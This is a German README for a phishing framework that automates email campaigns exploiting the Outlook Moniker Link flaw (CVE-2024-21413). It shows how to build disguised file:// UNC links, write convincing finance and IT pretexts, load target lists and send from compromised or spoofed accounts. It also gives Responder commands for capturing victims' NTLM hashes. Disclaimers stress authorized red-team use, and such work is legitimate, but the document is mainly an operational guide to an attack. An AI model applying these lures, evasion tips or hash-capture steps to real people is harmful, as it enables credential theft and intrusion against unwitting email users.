BLIND TRUST - Moniker-Link-Phishing-Engagement-Framework

Ein Sicherheitsforschungs-Tool zur Simulation gezielter Phishing-Kampagnen mithilfe der CVE-2024-21413 Moniker-Link-Schwachstelle. Entwickelt für autorisierte Red-Team-Operationen, Penetrationstests und Security-Awareness-Training.

Übersicht

BLIND TRUST ist ein Phishing-Engagement-Framework, das Sicherheitsteams dabei hilft, ihre Abwehrmaßnahmen gegen hochentwickelte E-Mail-basierte Angriffe zu verstehen und zu testen. Es nutzt die Moniker-Link-Technik, um die Geschützte Ansicht von Outlook zu umgehen, und bietet eine realistische Angriffssimulation, mit der Organisationen ihre Sicherheitslage stärken können.

Dieses Tool automatisiert den gesamten Kampagnen-Workflow – von der Konfiguration bis zur E-Mail-Zustellung – und wahrt dabei die operative Sicherheit durch anpassbare UNC-Pfade und flexible Pretext-Optionen.

Zweck

Organisationen müssen echte Angriffstechniken verstehen, um sich wirksam zu verteidigen. TRUST ermöglicht:

• Red-Team-Operationen – Durchführung autorisierter Phishing-Kampagnen im Rahmen von Sicherheitsbewertungen
• Security-Awareness-Training – Demonstration realer Angriffsvektoren gegenüber Mitarbeitern
• Schwachstellenvalidierung – Test der Erkennungsfähigkeiten gegen bekannte Techniken
• Abwehrforschung – Verständnis des Moniker-Link-Verhaltens in Ihrer Umgebung

Funktionen

• Multi-Target-Kampagnen – Versand von Phishing-E-Mails an mehrere Ziele mit einer einzigen Konfiguration
• Flexibles Zielladen – Laden von Zielen per interaktiver Eingabe oder über Wordlist-.txt-Dateien
• Anpassbarer Pretext – Kontrolle über E-Mail-Betreff, Absendername und Nachrichtentext
• Unauffällige UNC-Pfade – Anpassen des Moniker-Link-Pfads, damit er realistisch wirkt (Domäne, Freigabename, Exploit-Name)
• SMTP-Authentifizierung – Unterstützung verschiedener SMTP-Server mit TLS-Aushandlung
• Automatische Wiederholungslogik – Exponentieller Backoff bei vorübergehenden SMTP-Fehlern
• Kampagnen-Berichterstattung – Zustellstatus pro Ziel mit aggregierten Ergebnissen
• Keine fest codierten Signaturen – Eliminierung offensichtlicher Indikatoren, die die Technik verraten

Installation

Anforderungen

• Python 3.7+
• Nur Standardbibliothek (keine externen Abhängigkeiten)

Einrichtung

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Anforderungen

Das Tool verwendet ausschließlich Module aus der Python-Standardbibliothek:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

Keine externen Pakete erforderlich – läuft überall mit Python 3.7+.

Schnellstart

python3 TRUST_v7.py

Folgen Sie dem interaktiven Assistenten durch 5 Schritte:

1. Angreifer-Anmeldedaten – SMTP-Konto zum Senden von E-Mails
2. SMB-Listener-Einrichtung – IP-Adresse, mit der sich Ziele verbinden werden
3. Zielkonfiguration – Laden von Opfern aus Eingabe oder Wordlist-Datei
4. E-Mail-Anpassung – Betreff, Absendername und Nachrichtentext
5. Payload-Anpassung – UNC-Pfad-Host, Freigabe- und Exploit-Namen

Anwendungsbeispiele

Beispiel 1: Interaktive Eingabe (kleine Kampagne)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Beispiel 2: Laden aus einer Wordlist (große Kampagne)

Erstellen Sie targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Führen Sie dann aus:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Beispiel 3: Realistischer Finanz-Pretext

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Konfiguration im Detail

SCHRITT 1: Angreifer-Anmeldedaten

• Angreifer-E-Mail: Die E-Mail-Adresse, die zum Senden von Phishing-E-Mails verwendet wird (in der Regel ein kompromittiertes oder gespooftes Konto)
• SMTP-Passwort: Authentifizierungsnachweis für den Mailserver

SCHRITT 2: SMB-Listener

• SMB-Listener-IP: Die IP-Adresse, auf der Ihr SMB-Listener (z. B. Responder, impacket-smbserver) läuft. Ziele werden versuchen, sich hier zu verbinden, wenn sie den Moniker-Link anklicken.

SCHRITT 3: Zielkonfiguration

Zwei Optionen:

• Interaktive Eingabe: E-Mails direkt einfügen (durch Kommas oder Zeilenumbrüche getrennt)
• Wordlist-Datei: Laden aus einer .txt-Datei mit einer E-Mail pro Zeile, Kommentare beginnen mit #

SCHRITT 4: E-Mail-Anpassung

• Betreff: Betreffzeile der E-Mail (CVE-Bezüge vermeiden; geschäftlich halten)
• Anzeigename (Absender): Der Anzeigename, der im E-Mail-Kopf angezeigt wird
• E-Mail-Text: Der Pretext-Text, der erklärt, warum Ziele auf den Link klicken sollten

SCHRITT 5: Payload-Anpassung

Hier vermeiden Sie offensichtliche Signaturen:

• UNC-Host: Verwenden Sie eine realistische Domäne oder Subdomäne (z. B. finance-internal.company.com) anstelle einer bloßen IP
• UNC-Freigabe: Realistischer Freigabename wie quarterly, updates, documents
• UNC-Exploit: Realistischer Dateiname wie q3_report, security_patch, training_document

Ergebnis: Statt des offensichtlichen \\192.168.1.100\share!exploit erhalten Sie etwa file://finance-internal.company.com/quarterly!q3_report.

Ausführungsablauf

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

So funktioniert es

Die Schwachstelle

CVE-2024-21413 (Moniker Link) ist eine Outlook-Schwachstelle, die das Einbetten von file://-URLs mit einem !-Zeichen ermöglicht. Wenn ein Benutzer auf einen solchen Link klickt, versucht Outlook, auf den UNC-Pfad zuzugreifen, was selbst im Modus „Geschützte Ansicht“ einen NTLM-Authentifizierungsversuch auslöst.

Angriffsablauf

1. Benutzer erhält eine E-Mail mit einem Moniker-Link
2. Die E-Mail wirkt legitim (dank Ihres benutzerdefinierten Pretexts)
3. Benutzer klickt auf den Link
4. Outlook versucht, auf \\host\share!exploit zuzugreifen
5. Das !-Zeichen umgeht die Geschützte Ansicht
6. Das System des Benutzers authentifiziert sich bei Ihrem SMB-Listener
7. Sie erfassen den NTLM-Hash oder die Anmeldeinformationen

Was dieses Tool tut

TRUST automatisiert die Zustellungsphase:

• Erstellt realistische E-Mails mit benutzerdefiniertem Pretext
• Fügt den Moniker-Link in die HTML-Payload ein
• Verwaltet SMTP-Verbindungen und Wiederholungen
• Behandelt mehrere Ziele effizient
• Bietet Kampagnen-Berichterstattung

Fehlerbehebung

Problem: "SMTP attempt 3 failed: [SMTP: 535]"

Lösung: Verifizieren Sie die SMTP-Anmeldedaten. Verwenden Sie für Gmail ein anwendungsspezifisches Passwort. Fragen Sie bei Unternehmens-Mail Ihren SMTP-Administrator.

Problem: "TLS not supported. Proceeding without encryption."

Lösung: Normal bei einigen SMTP-Servern. Die Verbindung wird ohne TLS-Verschlüsselung fortgesetzt.

Problem: "Invalid email: victim@"

Lösung: Stellen Sie sicher, dass die E-Mails in den Wordlist-Dateien vollständig und im gültigen Format ([email protected]) sind.

Problem: "Recipient rejected"

Lösung: Die E-Mail-Adresse existiert nicht auf dem Zielserver, oder der Server blockiert das Relaying von Ihrem Konto aus.

Problem: "File not found: targets.txt"

Lösung: Überprüfen Sie, ob der Dateipfad korrekt ist und die Datei in Ihrem aktuellen Verzeichnis vorhanden ist.

FAQ

F: Ist die Nutzung dieses Tools legal? A: Nur mit ausdrücklicher schriftlicher Genehmigung der Organisation, die Sie testen. Unautorisiertes Phishing ist illegal. Halten Sie immer Leistungsumfang (Scope of Work) und Einsatzregeln (Rules of Engagement) schriftlich fest.

F: Kann dieses Tool erweiterte E-Mail-Filter umgehen? A: Es ist eine realistische Simulation, aber moderne E-Mail-Sicherheit kann es dennoch erkennen. Genau darum geht es – wenn die Filter Ihrer Organisation dagegen versagen, haben Sie ein Problem zu lösen.

F: Warum den UNC-Pfad anpassen? A: Der ursprüngliche \\IP\share!exploit ist ein offensichtlicher Hinweis. Echte Angreifer verwenden realistische Pfade. Ihr Sicherheitsteam sollte sowohl offensichtliche als auch subtile Indikatoren erkennen.

F: Kann ich das für das Training von Mitarbeitern verwenden? A: Ja. Verwenden Sie nach autorisierten Tests bereinigte Kampagnenbeispiele im Security-Awareness-Training, um Mitarbeitern echte Angriffstechniken zu zeigen.

F: Erfasst dieses Tool Anmeldedaten? A: Nein. TRUST stellt nur die E-Mail zu. Sie benötigen einen separaten SMB-Listener (Responder, impacket-smbserver usw.), um NTLM-Hashes zu erfassen, wenn Ziele auf den Link klicken.

F: Wie richte ich einen SMB-Listener ein? A: Verwenden Sie Responder unter Linux oder impacket-smbserver:

# Responder (captures hashes)
sudo responder -i eth0 -v

# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support

Einschränkungen

• Keine integrierte Erfassung von Anmeldedaten: Sie stellen den SMB-Listener bereit; TRUST liefert nur E-Mails
• Keine Kampagnen-Persistenz: Ergebnisse werden auf der Konsole ausgegeben; leiten Sie stdout um, um sie zu speichern
• Keine Ziel-Intelligenz: Sie müssen die E-Mail-Adressen der Ziele selbst sammeln
• Keine E-Mail-Verschleierung: Die UNC-Pfade sind zwar anpassbar, aber die E-Mail-Header sind Standard-SMTP
• Kein Multithreading: E-Mails werden aus Gründen der Zuverlässigkeit nacheinander gesendet

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt.

• Sie müssen eine ausdrückliche schriftliche Genehmigung für die Durchführung von Phishing-Kampagnen besitzen
• Unautorisierte Nutzung ist illegal und unethisch
• Verwenden Sie das Tool nur in kontrollierten Umgebungen gegen Systeme, die Ihnen gehören oder für die Sie eine Testgenehmigung haben
• Befolgen Sie stets die geltenden Gesetze und Vorschriften
• Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden

Mit der Nutzung von TRUST bestätigen Sie, dass Sie die rechtlichen Konsequenzen verstehen und über eine entsprechende Genehmigung verfügen.

Empfehlungen für den verantwortungsvollen Einsatz

1. Schriftliche Genehmigung einholen – Besorgen Sie sich vor jeder Kampagne unterschriebene Einsatzregeln (Rules of Engagement)
2. Ziele eingrenzen – Definieren Sie, welche Systeme und Personen im Rahmen liegen
3. Remediation planen – Halten Sie einen Schulungsplan für betroffene Mitarbeiter bereit
4. Ergebnisse dokumentieren – Führen Sie detaillierte Aufzeichnungen über die Bewertung
5. Erkenntnisse berichten – Geben Sie Stakeholdern Feedback dazu, was wirksam war
6. Privatsphäre respektieren – Verwenden Sie erfasste Daten nicht außerhalb des Sicherheitsprogramms

Zukünftige Verbesserungen

• Kampagnen-Persistenz und Protokollierung in Dateien
• Vorlagensystem für E-Mail-Pretext
• Integration mit LDAP zur Ziel-Enumeration
• HTML-Template-Rendering für anspruchsvollere E-Mails
• Kampagnenplanung (zeitbasierte Zustellung)
• Reporting-Dashboard mit Metriken und Analysen
• Unterstützung für andere Phishing-Techniken über Moniker Link hinaus

Lizenz

Dieses Projekt wird unter der MIT-Lizenz mit einer zusätzlichen Nutzungsbeschränkung veröffentlicht. Details finden Sie in der Datei LICENSE.

Danksagungen und Namensnennung

Dieses Projekt basiert auf der ursprünglichen CVE-2024-21413-Forschung und -Implementierung von CMNatic (https://github.com/cmnatic) und wurde davon inspiriert.

CMNatic gebührt die volle Anerkennung für:

• Die ursprüngliche Schwachstellenforschung und den Proof-of-Concept
• Die zentrale technische Implementierung
• Die erste öffentliche Dokumentation

Dieses Repository stellt eine modifizierte und erweiterte Version dieser Arbeit dar, mit folgenden Verbesserungen:

• Unterstützung für Multi-Target-Kampagnen
• Anpassbarer E-Mail-Pretext
• Unauffällige Anpassung des UNC-Pfads
• Wordlist-basiertes Laden von Zielen
• Verbesserte SMTP-Verarbeitung und Wiederholungslogik
• Umfassende Dokumentation

Weitere Details zur Namensnennung finden Sie in CREDITS.md.

Autor

H1SS – Diese Version wurde für Sicherheitsforschung und autorisierte Testzwecke erweitert und gepflegt.

Mitwirken

Beiträge sind willkommen. Bitte stellen Sie sicher, dass Änderungen:

• Den Bildungsfokus des Tools beibehalten
• Geeignete Dokumentation enthalten
• Praktiken verantwortungsvoller Offenlegung befolgen
• Keine externen Abhängigkeiten einführen

Richtlinien finden Sie in CONTRIBUTING.md.

Support

Bei Problemen, Fragen oder Anregungen eröffnen Sie bitte ein Issue auf GitHub.

Denken Sie daran: Dieses Tool ist ein Forschungsprojekt. Nutzen Sie es verantwortungsvoll, legal und ethisch.